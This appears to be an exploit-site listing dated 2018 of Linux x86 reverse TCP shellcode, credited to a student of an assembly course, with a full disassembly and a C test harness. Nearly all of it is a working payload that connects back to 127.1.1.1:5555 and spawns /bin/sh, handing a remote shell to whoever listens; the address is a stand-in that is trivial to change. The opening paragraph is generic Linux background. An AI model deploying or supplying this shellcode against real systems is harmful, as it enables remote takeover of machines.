Linux x86 Reverse TCP 127.1.1.1:5555 Shellcode

Authors:0x4ndr3                Risk:High
 
CVE:NO                        0day:Shellcode  

0day-id:0DAY-17312             Date:2018-04-23

Introduction

Linux is a family of free and open-source software operating systems built around the Linux kernel. Typically, Linux is packaged in a form known as a Linux distribution(or distro for short) for both desktop and server use. The defining component of a Linux distribution is the Linux kernel, an operating system kernel first released on September 17, 1991, by Linus Torvalds.

 Exploit

/**
# Linux x86 Reverse TCP shellcode
# 127.1.1.1/5555
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 73
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/reverse-tcp-shellcode-x86-slae.html


reverse:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:  6a 66                  push   0x66
 8048062:  58                     pop    eax
 8048063:  31 db                  xor    ebx,ebx
 8048065:  53                     push   ebx
 8048066:  43                     inc    ebx
 8048067:  53                     push   ebx
 8048068:  6a 02                  push   0x2
 804806a:  89 e1                  mov    ecx,esp
 804806c:  99                     cdq    
 804806d:  cd 80                  int    0x80
 804806f:  93                     xchg   ebx,eax
 8048070:  59                     pop    ecx

08048071 <loop>:
 8048071:  6a 3f                  push   0x3f
 8048073:  58                     pop    eax
 8048074:  cd 80                  int    0x80
 8048076:  49                     dec    ecx
 8048077:  79 f8                  jns    8048071 <loop>
 8048079:  68 7f 01 01 01         push   0x101017f
 804807e:  66 68 15 b3            pushw  0xb315
 8048082:  66 6a 02               pushw  0x2
 8048085:  89 e1                  mov    ecx,esp
 8048087:  6a 10                  push   0x10
 8048089:  51                     push   ecx
 804808a:  53                     push   ebx
 804808b:  89 e1                  mov    ecx,esp
 804808d:  6a 66                  push   0x66
 804808f:  58                     pop    eax
 8048090:  6a 03                  push   0x3
 8048092:  5b                     pop    ebx
 8048093:  cd 80                  int    0x80
 8048095:  31 c9                  xor    ecx,ecx
 8048097:  51                     push   ecx
 8048098:  6a 0b                  push   0xb
 804809a:  58                     pop    eax
 804809b:  68 2f 2f 73 68         push   0x68732f2f
 80480a0:  68 2f 62 69 6e         push   0x6e69622f
 80480a5:  89 e3                  mov    ebx,esp
 80480a7:  cd 80                  int    0x80

**/

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x7f\x01\x01\x01\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

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